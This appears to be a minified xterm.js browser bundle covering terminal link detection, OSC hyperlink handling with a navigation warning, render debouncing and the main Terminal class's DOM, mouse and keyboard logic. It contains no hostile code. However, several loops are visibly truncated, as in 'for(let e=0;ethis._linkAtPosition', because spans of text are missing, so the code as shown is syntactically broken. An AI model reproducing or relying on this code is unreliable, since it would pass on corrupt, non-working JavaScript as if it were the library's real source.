t=0;tthis._linkAtPosition(e.link,t)));e&&(i=!0,this._handleNewLink(e))}if(this._activeProviderReplies.size===this._linkProviders.length&&!i)for(let e=0;ethis._linkAtPosition(e.link,t)));if(r){i=!0,this._handleNewLink(r);break}}return i}_handleMouseDown(){this._mouseDownLink=this._currentLink}_handleMouseUp(e){if(!this._element||!this._mouseService||!this._currentLink)return;const t=this._positionFromMouseEvent(e,this._element,this._mouseService);t&&this._mouseDownLink===this._currentLink&&this._linkAtPosition(this._currentLink.link,t)&&this._currentLink.link.activate(e,this._currentLink.link.text)}_clearCurrentLink(e,t){this._element&&this._currentLink&&this._lastMouseEvent&&(!e||!t||this._currentLink.link.range.start.y>=e&&this._currentLink.link.range.end.y<=t)&&(this._linkLeave(this._element,this._currentLink.link,this._lastMouseEvent),this._currentLink=void 0,(0,a.disposeArray)(this._linkCacheDisposables))}_handleNewLink(e){if(!this._element||!this._lastMouseEvent||!this._mouseService)return;const t=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);t&&this._linkAtPosition(e.link,t)&&(this._currentLink=e,this._currentLink.state={decorations:{underline:void 0===e.link.decorations||e.link.decorations.underline,pointerCursor:void 0===e.link.decorations||e.link.decorations.pointerCursor},isHovered:!0},this._linkHover(this._element,e.link,this._lastMouseEvent),e.link.decorations={},Object.defineProperties(e.link.decorations,{pointerCursor:{get:()=>{var e,t;return null===(t=null===(e=this._currentLink)||void 0===e?void 0:e.state)||void 0===t?void 0:t.decorations.pointerCursor},set:e=>{var t,i;(null===(t=this._currentLink)||void 0===t?void 0:t.state)&&this._currentLink.state.decorations.pointerCursor!==e&&(this._currentLink.state.decorations.pointerCursor=e,this._currentLink.state.isHovered&&(null===(i=this._element)||void 0===i||i.classList.toggle("xterm-cursor-pointer",e)))}},underline:{get:()=>{var e,t;return null===(t=null===(e=this._currentLink)||void 0===e?void 0:e.state)||void 0===t?void 0:t.decorations.underline},set:t=>{var i,s,r;(null===(i=this._currentLink)||void 0===i?void 0:i.state)&&(null===(r=null===(s=this._currentLink)||void 0===s?void 0:s.state)||void 0===r?void 0:r.decorations.underline)!==t&&(this._currentLink.state.decorations.underline=t,this._currentLink.state.isHovered&&this._fireUnderlineEvent(e.link,t))}}}),this._renderService&&this._linkCacheDisposables.push(this._renderService.onRenderedViewportChange((e=>{if(!this._currentLink)return;const t=0===e.start?0:e.start+1+this._bufferService.buffer.ydisp,i=this._bufferService.buffer.ydisp+1+e.end;if(this._currentLink.link.range.start.y>=t&&this._currentLink.link.range.end.y<=i&&(this._clearCurrentLink(t,i),this._lastMouseEvent&&this._element)){const e=this._positionFromMouseEvent(this._lastMouseEvent,this._element,this._mouseService);e&&this._askForLink(e,!1)}}))))}_linkHover(e,t,i){var s;(null===(s=this._currentLink)||void 0===s?void 0:s.state)&&(this._currentLink.state.isHovered=!0,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(t,!0),this._currentLink.state.decorations.pointerCursor&&e.classList.add("xterm-cursor-pointer")),t.hover&&t.hover(i,t.text)}_fireUnderlineEvent(e,t){const i=e.range,s=this._bufferService.buffer.ydisp,r=this._createLinkUnderlineEvent(i.start.x-1,i.start.y-s-1,i.end.x,i.end.y-s-1,void 0);(t?this._onShowLinkUnderline:this._onHideLinkUnderline).fire(r)}_linkLeave(e,t,i){var s;(null===(s=this._currentLink)||void 0===s?void 0:s.state)&&(this._currentLink.state.isHovered=!1,this._currentLink.state.decorations.underline&&this._fireUnderlineEvent(t,!1),this._currentLink.state.decorations.pointerCursor&&e.classList.remove("xterm-cursor-pointer")),t.leave&&t.leave(i,t.text)}_linkAtPosition(e,t){const i=e.range.start.y*this._bufferService.cols+e.range.start.x,s=e.range.end.y*this._bufferService.cols+e.range.end.x,r=t.y*this._bufferService.cols+t.x;return i<=r&&r<=s}_positionFromMouseEvent(e,t,i){const s=i.getCoords(e,t,this._bufferService.cols,this._bufferService.rows);if(s)return{x:s[0],y:s[1]+this._bufferService.buffer.ydisp}}_createLinkUnderlineEvent(e,t,i,s,r){return{x1:e,y1:t,x2:i,y2:s,cols:this._bufferService.cols,fg:r}}};t.Linkifier2=c=s([r(0,h.IBufferService)],c)},9042:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.tooMuchOutput=t.promptLabel=void 0,t.promptLabel="Terminal input",t.tooMuchOutput="Too much output to announce, navigate to rows manually to read"},3730:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.OscLinkProvider=void 0;const n=i(511),o=i(2585);let a=t.OscLinkProvider=class{constructor(e,t,i){this._bufferService=e,this._optionsService=t,this._oscLinkService=i}provideLinks(e,t){var i;const s=this._bufferService.buffer.lines.get(e-1);if(!s)return void t(void 0);const r=[],o=this._optionsService.rawOptions.linkHandler,a=new n.CellData,c=s.getTrimmedLength();let l=-1,d=-1,_=!1;for(let t=0;to?o.activate(e,t,i):h(0,t),hover:(e,t)=>{var s;return null===(s=null==o?void 0:o.hover)||void 0===s?void 0:s.call(o,e,t,i)},leave:(e,t)=>{var s;return null===(s=null==o?void 0:o.leave)||void 0===s?void 0:s.call(o,e,t,i)}})}_=!1,a.hasExtendedAttrs()&&a.extended.urlId?(d=t,l=a.extended.urlId):(d=-1,l=-1)}}t(r)}};function h(e,t){if(confirm(`Do you want to navigate to ${t}?\n\nWARNING: This link could potentially be dangerous`)){const e=window.open();if(e){try{e.opener=null}catch(e){}e.location.href=t}else console.warn("Opening link blocked as opener could not be cleared")}}t.OscLinkProvider=a=s([r(0,o.IBufferService),r(1,o.IOptionsService),r(2,o.IOscLinkService)],a)},6193:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.RenderDebouncer=void 0,t.RenderDebouncer=class{constructor(e,t){this._parentWindow=e,this._renderCallback=t,this._refreshCallbacks=[]}dispose(){this._animationFrame&&(this._parentWindow.cancelAnimationFrame(this._animationFrame),this._animationFrame=void 0)}addRefreshCallback(e){return this._refreshCallbacks.push(e),this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame((()=>this._innerRefresh()))),this._animationFrame}refresh(e,t,i){this._rowCount=i,e=void 0!==e?e:0,t=void 0!==t?t:this._rowCount-1,this._rowStart=void 0!==this._rowStart?Math.min(this._rowStart,e):e,this._rowEnd=void 0!==this._rowEnd?Math.max(this._rowEnd,t):t,this._animationFrame||(this._animationFrame=this._parentWindow.requestAnimationFrame((()=>this._innerRefresh())))}_innerRefresh(){if(this._animationFrame=void 0,void 0===this._rowStart||void 0===this._rowEnd||void 0===this._rowCount)return void this._runRefreshCallbacks();const e=Math.max(this._rowStart,0),t=Math.min(this._rowEnd,this._rowCount-1);this._rowStart=void 0,this._rowEnd=void 0,this._renderCallback(e,t),this._runRefreshCallbacks()}_runRefreshCallbacks(){for(const e of this._refreshCallbacks)e(0);this._refreshCallbacks=[]}}},5596:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.ScreenDprMonitor=void 0;const s=i(844);class r extends s.Disposable{constructor(e){super(),this._parentWindow=e,this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this.register((0,s.toDisposable)((()=>{this.clearListener()})))}setListener(e){this._listener&&this.clearListener(),this._listener=e,this._outerListener=()=>{this._listener&&(this._listener(this._parentWindow.devicePixelRatio,this._currentDevicePixelRatio),this._updateDpr())},this._updateDpr()}_updateDpr(){var e;this._outerListener&&(null===(e=this._resolutionMediaMatchList)||void 0===e||e.removeListener(this._outerListener),this._currentDevicePixelRatio=this._parentWindow.devicePixelRatio,this._resolutionMediaMatchList=this._parentWindow.matchMedia(`screen and (resolution: ${this._parentWindow.devicePixelRatio}dppx)`),this._resolutionMediaMatchList.addListener(this._outerListener))}clearListener(){this._resolutionMediaMatchList&&this._listener&&this._outerListener&&(this._resolutionMediaMatchList.removeListener(this._outerListener),this._resolutionMediaMatchList=void 0,this._listener=void 0,this._outerListener=void 0)}}t.ScreenDprMonitor=r},3236:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.Terminal=void 0;const s=i(3614),r=i(3656),n=i(6465),o=i(9042),a=i(3730),h=i(1680),c=i(3107),l=i(5744),d=i(2950),_=i(1296),u=i(428),f=i(4269),v=i(5114),p=i(8934),g=i(3230),m=i(9312),S=i(4725),C=i(6731),b=i(8055),y=i(8969),w=i(8460),E=i(844),k=i(6114),L=i(8437),D=i(2584),R=i(7399),x=i(5941),A=i(9074),B=i(2585),T=i(5435),M=i(4567),O="undefined"!=typeof window?window.document:null;class P extends y.CoreTerminal{get onFocus(){return this._onFocus.event}get onBlur(){return this._onBlur.event}get onA11yChar(){return this._onA11yCharEmitter.event}get onA11yTab(){return this._onA11yTabEmitter.event}get onWillOpen(){return this._onWillOpen.event}constructor(e={}){super(e),this.browser=k,this._keyDownHandled=!1,this._keyDownSeen=!1,this._keyPressHandled=!1,this._unprocessedDeadKey=!1,this._accessibilityManager=this.register(new E.MutableDisposable),this._onCursorMove=this.register(new w.EventEmitter),this.onCursorMove=this._onCursorMove.event,this._onKey=this.register(new w.EventEmitter),this.onKey=this._onKey.event,this._onRender=this.register(new w.EventEmitter),this.onRender=this._onRender.event,this._onSelectionChange=this.register(new w.EventEmitter),this.onSelectionChange=this._onSelectionChange.event,this._onTitleChange=this.register(new w.EventEmitter),this.onTitleChange=this._onTitleChange.event,this._onBell=this.register(new w.EventEmitter),this.onBell=this._onBell.event,this._onFocus=this.register(new w.EventEmitter),this._onBlur=this.register(new w.EventEmitter),this._onA11yCharEmitter=this.register(new w.EventEmitter),this._onA11yTabEmitter=this.register(new w.EventEmitter),this._onWillOpen=this.register(new w.EventEmitter),this._setup(),this.linkifier2=this.register(this._instantiationService.createInstance(n.Linkifier2)),this.linkifier2.registerLinkProvider(this._instantiationService.createInstance(a.OscLinkProvider)),this._decorationService=this._instantiationService.createInstance(A.DecorationService),this._instantiationService.setService(B.IDecorationService,this._decorationService),this.register(this._inputHandler.onRequestBell((()=>this._onBell.fire()))),this.register(this._inputHandler.onRequestRefreshRows(((e,t)=>this.refresh(e,t)))),this.register(this._inputHandler.onRequestSendFocus((()=>this._reportFocus()))),this.register(this._inputHandler.onRequestReset((()=>this.reset()))),this.register(this._inputHandler.onRequestWindowsOptionsReport((e=>this._reportWindowsOptions(e)))),this.register(this._inputHandler.onColor((e=>this._handleColorEvent(e)))),this.register((0,w.forwardEvent)(this._inputHandler.onCursorMove,this._onCursorMove)),this.register((0,w.forwardEvent)(this._inputHandler.onTitleChange,this._onTitleChange)),this.register((0,w.forwardEvent)(this._inputHandler.onA11yChar,this._onA11yCharEmitter)),this.register((0,w.forwardEvent)(this._inputHandler.onA11yTab,this._onA11yTabEmitter)),this.register(this._bufferService.onResize((e=>this._afterResize(e.cols,e.rows)))),this.register((0,E.toDisposable)((()=>{var e,t;this._customKeyEventHandler=void 0,null===(t=null===(e=this.element)||void 0===e?void 0:e.parentNode)||void 0===t||t.removeChild(this.element)})))}_handleColorEvent(e){if(this._themeService)for(const t of e){let e,i="";switch(t.index){case 256:e="foreground",i="10";break;case 257:e="background",i="11";break;case 258:e="cursor",i="12";break;default:e="ansi",i="4;"+t.index}switch(t.type){case 0:const s=b.color.toColorRGB("ansi"===e?this._themeService.colors.ansi[t.index]:this._themeService.colors[e]);this.coreService.triggerDataEvent(`${D.C0.ESC}]${i};${(0,x.toRgbString)(s)}${D.C1_ESCAPED.ST}`);break;case 1:if("ansi"===e)this._themeService.modifyColors((e=>e.ansi[t.index]=b.rgba.toColor(...t.color)));else{const i=e;this._themeService.modifyColors((e=>e[i]=b.rgba.toColor(...t.color)))}break;case 2:this._themeService.restoreColor(t.index)}}}_setup(){super._setup(),this._customKeyEventHandler=void 0}get buffer(){return this.buffers.active}focus(){this.textarea&&this.textarea.focus({preventScroll:!0})}_handleScreenReaderModeOptionChange(e){e?!this._accessibilityManager.value&&this._renderService&&(this._accessibilityManager.value=this._instantiationService.createInstance(M.AccessibilityManager,this)):this._accessibilityManager.clear()}_handleTextAreaFocus(e){this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(D.C0.ESC+"[I"),this.updateCursorStyle(e),this.element.classList.add("focus"),this._showCursor(),this._onFocus.fire()}blur(){var e;return null===(e=this.textarea)||void 0===e?void 0:e.blur()}_handleTextAreaBlur(){this.textarea.value="",this.refresh(this.buffer.y,this.buffer.y),this.coreService.decPrivateModes.sendFocus&&this.coreService.triggerDataEvent(D.C0.ESC+"[O"),this.element.classList.remove("focus"),this._onBlur.fire()}_syncTextArea(){if(!this.textarea||!this.buffer.isCursorInViewport||this._compositionHelper.isComposing||!this._renderService)return;const e=this.buffer.ybase+this.buffer.y,t=this.buffer.lines.get(e);if(!t)return;const i=Math.min(this.buffer.x,this.cols-1),s=this._renderService.dimensions.css.cell.height,r=t.getWidth(i),n=this._renderService.dimensions.css.cell.width*r,o=this.buffer.y*this._renderService.dimensions.css.cell.height,a=i*this._renderService.dimensions.css.cell.width;this.textarea.style.left=a+"px",this.textarea.style.top=o+"px",this.textarea.style.width=n+"px",this.textarea.style.height=s+"px",this.textarea.style.lineHeight=s+"px",this.textarea.style.zIndex="-5"}_initGlobal(){this._bindKeys(),this.register((0,r.addDisposableDomListener)(this.element,"copy",(e=>{this.hasSelection()&&(0,s.copyHandler)(e,this._selectionService)})));const e=e=>(0,s.handlePasteEvent)(e,this.textarea,this.coreService,this.optionsService);this.register((0,r.addDisposableDomListener)(this.textarea,"paste",e)),this.register((0,r.addDisposableDomListener)(this.element,"paste",e)),k.isFirefox?this.register((0,r.addDisposableDomListener)(this.element,"mousedown",(e=>{2===e.button&&(0,s.rightClickHandler)(e,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)}))):this.register((0,r.addDisposableDomListener)(this.element,"contextmenu",(e=>{(0,s.rightClickHandler)(e,this.textarea,this.screenElement,this._selectionService,this.options.rightClickSelectsWord)}))),k.isLinux&&this.register((0,r.addDisposableDomListener)(this.element,"auxclick",(e=>{1===e.button&&(0,s.moveTextAreaUnderMouseCursor)(e,this.textarea,this.screenElement)})))}_bindKeys(){this.register((0,r.addDisposableDomListener)(this.textarea,"keyup",(e=>this._keyUp(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,"keydown",(e=>this._keyDown(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,"keypress",(e=>this._keyPress(e)),!0)),this.register((0,r.addDisposableDomListener)(this.textarea,"compositionstart",(()=>this._compositionHelper.compositionstart()))),this.register((0,r.addDisposableDomListener)(this.textarea,"compositionupdate",(e=>this._compositionHelper.compositionupdate(e)))),this.register((0,r.addDisposableDomListener)(this.textarea,"compositionend",(()=>this._compositionHelper.compositionend()))),this.register((0,r.addDisposableDomListener)(this.textarea,"input",(e=>this._inputEvent(e)),!0)),this.register(this.onRender((()=>this._compositionHelper.updateCompositionElements())))}open(e){var t;if(!e)throw new Error("Terminal requires a parent element.");e.isConnected||this._logService.debug("Terminal.open was called on an element that was not attached to the DOM"),this._document=e.ownerDocument,this.element=this._document.createElement("div"),this.element.dir="ltr",this.element.classList.add("terminal"),this.element.classList.add("xterm"),e.appendChild(this.element);const i=O.createDocumentFragment();this._viewportElement=O.createElement("div"),this._viewportElement.classList.add("xterm-viewport"),i.appendChild(this._viewportElement),this._viewportScrollArea=O.createElement("div"),this._viewportScrollArea.classList.add("xterm-scroll-area"),this._viewportElement.appendChild(this._viewportScrollArea),this.screenElement=O.createElement("div"),this.screenElement.classList.add("xterm-screen"),this._helperContainer=O.createElement("div"),this._helperContainer.classList.add("xterm-helpers"),this.screenElement.appendChild(this._helperContainer),i.appendChild(this.screenElement),this.textarea=O.createElement("textarea"),this.textarea.classList.add("xterm-helper-textarea"),this.textarea.setAttribute("aria-label",o.promptLabel),k.isChromeOS||this.textarea.setAttribute("aria-multiline","false"),this.textarea.setAttribute("autocorrect","off"),this.textarea.setAttribute("autocapitalize","off"),this.textarea.setAttribute("spellcheck","false"),this.textarea.tabIndex=0,this._coreBrowserService=this._instantiationService.createInstance(v.CoreBrowserService,this.textarea,null!==(t=this._document.defaultView)&&void 0!==t?t:window),this._instantiationService.setService(S.ICoreBrowserService,this._coreBrowserService),this.register((0,r.addDisposableDomListener)(this.textarea,"focus",(e=>this._handleTextAreaFocus(e)))),this.register((0,r.addDisposableDomListener)(this.textarea,"blur",(()=>this._handleTextAreaBlur()))),this._helperContainer.appendChild(this.textarea),this._charSizeService=this._instantiationService.createInstance(u.CharSizeService,this._document,this._helperContainer),this._instantiationService.setService(S.ICharSizeService,this._charSizeService),this._themeService=this._instantiationService.createInstance(C.ThemeService),this._instantiationService.setService(S.IThemeService,this._themeService),this._characterJoinerService=this._instantiationService.createInstance(f.CharacterJoinerService),this._instantiationService.setService(S.ICharacterJoinerService,this._characterJoinerService),this._renderService=this.register(this._instantiationService.createInstance(g.RenderService,this.rows,this.screenElement)),this._instantiationService.setService(S.IRenderService,this._renderService),this.register(this._renderService.onRenderedViewportChange((e=>this._onRender.fire(e)))),this.onResize((e=>this._renderService.resize(e.cols,e.rows))),this._compositionView=O.createElement("div"),this._compositionView.classList.add("composition-view"),this._compositionHelper=this._instantiationService.createInstance(d.CompositionHelper,this.textarea,this._compositionView),this._helperContainer.appendChild(this._compositionView),this.element.appendChild(i);try{this._onWillOpen.fire(this.element)}catch(e){}this._renderService.hasRenderer()||this._renderService.setRenderer(this._createRenderer()),this._mouseService=this._instantiationService.createInstance(p.MouseService),this._instantiationService.setService(S.IMouseService,this._mouseService),this.viewport=this._instantiationService.createInstance(h.Viewport,this._viewportElement,this._viewportScrollArea),this.viewport.onRequestScrollLines((e=>this.scrollLines(e.amount,e.suppressScrollEvent,1))),this.register(this._inputHandler.onRequestSyncScrollBar((()=>this.viewport.syncScrollArea()))),this.register(this.viewport),this.register(this.onCursorMove((()=>{this._renderService.handleCursorMove(),this._syncTextArea()}))),this.register(this.onResize((()=>this._renderService.handleResize(this.cols,this.rows)))),this.register(this.onBlur((()=>this._renderService.handleBlur()))),this.register(this.onFocus((()=>this._renderService.handleFocus()))),this.register(this._renderService.onDimensionsChange((()=>this.viewport.syncScrollArea()))),this._selectionService=this.register(this._instantiationService.createInstance(m.SelectionService,this.element,this.screenElement,this.linkifier2)),this._instantiationService.setService(S.ISelectionService,this._selectionService),this.register(this._selectionService.onRequestScrollLines((e=>this.scrollLines(e.amount,e.suppressScrollEvent)))),this.register(this._selectionService.onSelectionChange((()=>this._onSelectionChange.fire()))),this.register(this._selectionService.onRequestRedraw((e=>this._renderService.handleSelectionChanged(e.start,e.end,e.columnSelectMode)))),this.register(this._selectionService.onLinuxMouseSelection((e=>{this.textarea.value=e,this.textarea.focus(),this.textarea.select()}))),this.register(this._onScroll.event((e=>{this.viewport.syncScrollArea(),this._selectionService.refresh()}))),this.register((0,r.addDisposableDomListener)(this._viewportElement,"scroll",(()=>this._selectionService.refresh()))),this.linkifier2.attachToDom(this.screenElement,this._mouseService,this._renderService),this.register(this._instantiationService.createInstance(c.BufferDecorationRenderer,this.screenElement)),this.register((0,r.addDisposableDomListener)(this.element,"mousedown",(e=>this._selectionService.handleMouseDown(e)))),this.coreMouseService.areMouseEventsActive?(this._selectionService.disable(),this.element.classList.add("enable-mouse-events")):this._selectionService.enable(),this.options.screenReaderMode&&(this._accessibilityManager.value=this._instantiationService.createInstance(M.AccessibilityManager,this)),this.register(this.optionsService.onSpecificOptionChange("screenReaderMode",(e=>this._handleScreenReaderModeOptionChange(e)))),this.options.overviewRulerWidth&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(l.OverviewRulerRenderer,this._viewportElement,this.screenElement))),this.optionsService.onSpecificOptionChange("overviewRulerWidth",(e=>{!this._overviewRulerRenderer&&e&&this._viewportElement&&this.screenElement&&(this._overviewRulerRenderer=this.register(this._instantiationService.createInstance(l.OverviewRulerRenderer,this._viewportElement,this.screenElement)))})),this._charSizeService.measure(),this.refresh(0,this.rows-1),this._initGlobal(),this.bindMouse()}_createRenderer(){return this._instantiationService.createInstance(_.DomRenderer,this.element,this.screenElement,this._viewportElement,this.linkifier2)}bindMouse(){const e=this,t=this.element;function i(t){const i=e._mouseService.getMouseReportCoords(t,e.screenElement);if(!i)return!1;let s,r;switch(t.overrideType||t.type){case"mousemove":r=32,void 0===t.buttons?(s=3,void 0!==t.button&&(s=t.button<3?t.button:3)):s=1&t.buttons?0:4&t.buttons?1:2&t.buttons?2:3;break;case"mouseup":r=0,s=t.button<3?t.button:3;break;case"mousedown":r=1,s=t.button<3?t.button:3;break;case"wheel":if(0===e.viewport.getLinesScrolled(t))return!1;r=t.deltaY<0?0:1,s=4;break;default:return!1}return!(void 0===r||void 0===s||s>4)&&e.coreMouseService.triggerMouseEvent({col:i.col,row:i.row,x:i.x,y:i.y,button:s,action:r,ctrl:t.ctrlKey,alt:t.altKey,shift:t.shiftKey})}const s={mouseup:null,wheel:null,mousedrag:null,mousemove:null},n={mouseup:e=>(i(e),e.buttons||(this._document.removeEventListener("mouseup",s.mouseup),s.mousedrag&&this._document.removeEventListener("mousemove",s.mousedrag)),this.cancel(e)),wheel:e=>(i(e),this.cancel(e,!0)),mousedrag:e=>{e.buttons&&i(e)},mousemove:e=>{e.buttons||i(e)}};this.register(this.coreMouseService.onProtocolChange((e=>{e?("debug"===this.optionsService.rawOptions.logLevel&&this._logService.debug("Binding to mouse events:",this.coreMouseService.explainEvents(e)),this.element.classList.add("enable-mouse-events"),this._selectionService.disable()):(this._logService.debug("Unbinding from mouse events."),this.element.classList.remove("enable-mouse-events"),this._selectionService.enable()),8&e?s.mousemove||(t.addEventListener("mousemove",n.mousemove),s.mousemove=n.mousemove):(t.removeEventListener("mousemove",s.mousemove),s.mousemove=null),16&e?s.wheel||(t.addEventListener("wheel",n.wheel,{passive:!1}),s.wheel=n.wheel):(t.removeEventListener("wheel",s.wheel),s.wheel=null),2&e?s.mouseup||(t.addEventListener("mouseup",n.mouseup),s.mouseup=n.mouseup):(this._document.removeEventListener("mouseup",s.mouseup),t.removeEventListener("mouseup",s.mouseup),s.mouseup=null),4&e?s.mousedrag||(s.mousedrag=n.mousedrag):(this._document.removeEventListener("mousemove",s.mousedrag),s.mousedrag=null)}))),this.coreMouseService.activeProtocol=this.coreMouseService.activeProtocol,this.register((0,r.addDisposableDomListener)(t,"mousedown",(e=>{if(e.preventDefault(),this.focus(),this.coreMouseService.areMouseEventsActive&&!this._selectionService.shouldForceSelection(e))return i(e),s.mouseup&&this._document.addEventListener("mouseup",s.mouseup),s.mousedrag&&this._document.addEventListener("mousemove",s.mousedrag),this.cancel(e)}))),this.register((0,r.addDisposableDomListener)(t,"wheel",(e=>{if(!s.wheel){if(!this.buffer.hasScrollback){const t=this.viewport.getLinesScrolled(e);if(0===t)return;const i=D.C0.ESC+(this.coreService.decPrivateModes.applicationCursorKeys?"O":"[")+(e.deltaY<0?"A":"B");let s="";for(let e=0;e{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchStart(e),this.cancel(e)}),{passive:!0})),this.register((0,r.addDisposableDomListener)(t,"touchmove",(e=>{if(!this.coreMouseService.areMouseEventsActive)return this.viewport.handleTouchMove(e)?void 0:this.cancel(e)}),{passive:!1}))}refresh(e,t){var i;null===(i=this._renderService)||void 0===i||i.refreshRows(e,t)}updateCursorStyle(e){var t;(null===(t=this._selectionService)||void 0===t?void 0:t.shouldColumnSelect(e))?this.element.classList.add("column-select"):this.element.classList.remove("column-select")}_showCursor(){this.coreService.isCursorInitialized||(this.coreService.isCursorInitialized=!0,this.refresh(this.buffer.y,this.buffer.y))}scrollLines(e,t,i=0){var s;1===i?(super.scrollLines(e,t,i),this.refresh(0,this.rows-1)):null===(s=this.viewport)||void 0===s||s.scrollLines(e)}paste(e){(0,s.paste)(e,this.textarea,this.coreService,this.optionsService)}attachCustomKeyEventHandler(e){this._customKeyEventHandler=e}registerLinkProvider(e){return this.linkifier2.registerLinkProvider(e)}registerCharacterJoiner(e){if(!this._characterJoinerService)throw new Error("Terminal must be opened first");const t=this._characterJoinerService.register(e);return this.refresh(0,this.rows-1),t}deregisterCharacterJoiner(e){if(!this._characterJoinerService)throw new Error("Terminal must be opened first");this._characterJoinerService.deregister(e)&&this.refresh(0,this.rows-1)}get markers(){return this.buffer.markers}registerMarker(e){return this.buffer.addMarker(this.buffer.ybase+this.buffer.y+e)}registerDecoration(e){return this._decorationService.registerDecoration(e)}hasSelection(){return!!this._selectionService&&this._selectionService.hasSelection}select(e,t,i){this._selectionService.setSelection(e,t,i)}getSelection(){return this._selectionService?this._selectionService.selectionText:""}getSelectionPosition(){if(this._selectionService&&this._selectionService.hasSelection)return{start:{x:this._selectionService.selectionStart[0],y:this._selectionService.selectionStart[1]},end:{x:this._selectionService.selectionEnd[0],y:this._selectionService.selectionEnd[1]}}}clearSelection(){var e;null===(e=this._selectionService)||void 0===e||e.clearSelection()}selectAll(){var e;null===(e=this._selectionService)||void 0===e||e.selectAll()}selectLines(e,t){var i;null===(i=this._selectionService)||void 0===i||i.selectLines(e,t)}_keyDown(e){if(this._keyDownHandled=!1,this._keyDownSeen=!0,this._customKeyEventHandler&&!1===this._customKeyEventHandler(e))return!1;const t=this.browser.isMac&&this.options.macOptionIsMeta&&e.altKey;if(!t&&!this._compositionHelper.keydown(e))return this.options.scrollOnUserInput&&this.buffer.ybase!==this.buffer.ydisp&&this.scrollToBottom(),!1;t||"Dead"!==e.key&&"AltGraph"!==e.key||(this._unprocessedDeadKey=!0);const i=(0,R.evaluateKeyboardEvent)(e,this.coreService.decPrivateModes.applicationCursorKeys,this.browser.isMac,this.options.macOptionIsMeta);if(this.updateCursorStyle(e),3===i.type||2===i.type){const t=this.rows-1;return this.scrollLines(2===i.type?-t:t),this.cancel(e,!0)}return 1===i.type&&this.selectAll(),!!this._isThirdLevelShift(this.browser,e)||(i.cancel&&this.cancel(e,!0),!i.key||!!(e.key&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&1===e.key.length&&e.key.charCodeAt(0)>=65&&e.key.charCodeAt(0)<=90)||(this._unprocessedDeadKey?(this._unprocessedDeadKey=!1,!0):(i.key!==D.C0.ETX&&i.key!==D.C0.CR||(this.textarea.value=""),this._onKey.fire({key:i.key,domEvent:e}),this._showCursor(),this.coreService.triggerDataEvent(i.key,!0),!this.optionsService.rawOptions.screenReaderMode||e.altKey||e.ctrlKey?this.cancel(e,!0):void(this._keyDownHandled=!0))))}_isThirdLevelShift(e,t){const i=e.isMac&&!this.options.macOptionIsMeta&&t.altKey&&!t.ctrlKey&&!t.metaKey||e.isWindows&&t.altKey&&t.ctrlKey&&!t.metaKey||e.isWindows&&t.getModifierState("AltGraph");return"keypress"===t.type?i:i&&(!t.keyCode||t.keyCode>47)}_keyUp(e){this._keyDownSeen=!1,this._customKeyEventHandler&&!1===this._customKeyEventHandler(e)||(function(e){return 16===e.keyCode||17===e.keyCode||18===e.keyCode}(e)||this.focus(),this.updateCursorStyle(e),this._keyPressHandled=!1)}_keyPress(e){let t;if(this._keyPressHandled=!1,this._keyDownHandled)return!1;if(this._customKeyEventHandler&&!1===this._customKeyEventHandler(e))return!1;if(this.cancel(e),e.charCode)t=e.charCode;else if(null===e.which||void 0===e.which)t=e.keyCode;else{if(0===e.which||0===e.charCode)return!1;t=e.which}return!(!t||(e.altKey||e.ctrlKey||e.metaKey)&&!this._isThirdLevelShift(this.browser,e)||(t=String.fromCharCode(t),this._onKey.fire({key:t,domEvent:e}),this._showCursor(),this.coreService.triggerDataEvent(t,!0),this._keyPressHandled=!0,this._unprocessedDeadKey=!1,0))}_inputEvent(e){if(e.data&&"insertText"===e.inputType&&(!e.composed||!this._keyDownSeen)&&!this.optionsService.rawOptions.screenReaderMode){if(this._keyPressHandled)return!1;this._unprocessedDeadKey=!1;const t=e.data;return this.coreService.triggerDataEvent(t,!0),this.cancel(e),!0}return!1}resize(e,t){e!==this.cols||t!==this.rows?super.resize(e,t):this._charSizeService&&!this._charSizeService.hasValidSize&&this._charSizeService.measure()}_afterResize(e,t){var i,s;null===(i=this._charSizeService)||void 0===i||i.measure(),null===(s=this.viewport)||void 0===s||s.syncScrollArea(!0)}clear(){var e;if(0!==this.buffer.ybase||0!==this.buffer.y){this.buffer.clearAllMarkers(),this.buffer.lines.set(0,this.buffer.lines.get(this.buffer.ybase+this.buffer.y)),this.buffer.lines.length=1,this.buffer.ydisp=0,this.buffer.ybase=0,this.buffer.y=0;for(let e=1;e{Object.defineProperty(t,"__esModule",{value:!0}),t.TimeBasedDebouncer=void 0,t.TimeBasedDebouncer=class{constructor(e,t=1e3){this._renderCallback=e,this._debounceThresholdMS=t,this._lastRefreshMs=0,this._additionalRefreshRequested=!1}dispose(){this._refreshTimeoutID&&clearTimeout(this._refreshTimeoutID)}refresh(e,t,i){this._rowCount=i,e=void 0!==e?e:0,t=void 0!==t?t:this._rowCount-1,this._rowStart=void 0!==this._rowStart?Math.min(this._rowStart,e):e,this._rowEnd=void 0!==this._rowEnd?Math.max(this._rowEnd,t):t;const s=Date.now();if(s-this._lastRefreshMs>=this._debounceThresholdMS)this._lastRefreshMs=s,this._innerRefresh();else if(!this._additionalRefreshRequested){const 